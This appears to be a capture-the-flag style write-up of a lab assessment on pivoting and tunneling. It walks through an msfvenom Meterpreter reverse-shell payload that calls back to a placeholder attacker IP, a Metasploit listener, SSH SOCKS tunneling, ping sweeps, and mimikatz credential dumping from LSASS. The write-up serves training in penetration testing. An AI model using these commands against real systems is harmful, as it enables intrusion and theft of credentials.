Pivoting, Tunneling, and Port Forwarding - Skill Assessment

Initial Access

Reconnaissance

As from the objectives of the assessment, we start from the webshell, found two user accounts in the /home directory:

• Webadmin: Primary target for initial access
• Administrator: Potential privilege escalation target
• Only webadmin was accessible

Critical Findings

1. A private SSH key belonging to the webadmin user
2. A file named “for-admin-eyes-only” containing credentials

Reverse Shell Using Metasploit

1. Payload Generation

   msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> -f elf -o payload LPORT=8080
   

2. Payload Delivery

   python3 -m http.server
   

3. Metasploit Listener Configuration

   use exploit/multi/handler
   set LHOST 0.0.0.0
   set LPORT 8080
   set payload linux/x64/meterpreter/reverse_tcp
   

Network Enumeration

Network Discovery

1. Performed ping sweep and found the internal IP 172.16.5.35:

   run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
   

Dynamic Tunneling Using SSH

1. As We found the private key to webadmin, we can Dynamic Port Forward using ssh(or use Metasploit as an Socks Proxy):

   ssh -i id_rsa -D 9050 webadmin@<target_ip>
   

Lateral Movement

1. Used Proxychains to login with discovered credentials

2. Located first flag

Privilege Escalation

1. Next the question was what user was vulnerable?, We can tell the user ‘vfrank’(I just checked the users folder, so I just submitted it as user), now we have to how this user is vulnerable.. well one obvious answer would be active directory(LSASS) so I just copied mimikatz and ran it.

   privilege::debug
   sekurlsa::logonpasswords
   

2. Confirmed vulnerable user account: vfrank
3. Successfully extracted cleartext passwords

Network Enumeration

1. Scanned for additional systems:

   for /L %i in (1 1 254) do ping 172.16.6.%i -n 1 -w 100 | find "Reply"
   

2. Located target IP: 172.16.6.25
3. Established RDP connection with the credentials.

Final Access

Flag Retrieval

1. Located flag in C:\
   

Domain Controller Access

1. Successfully identified the domain controller
2. Retrieved the final flag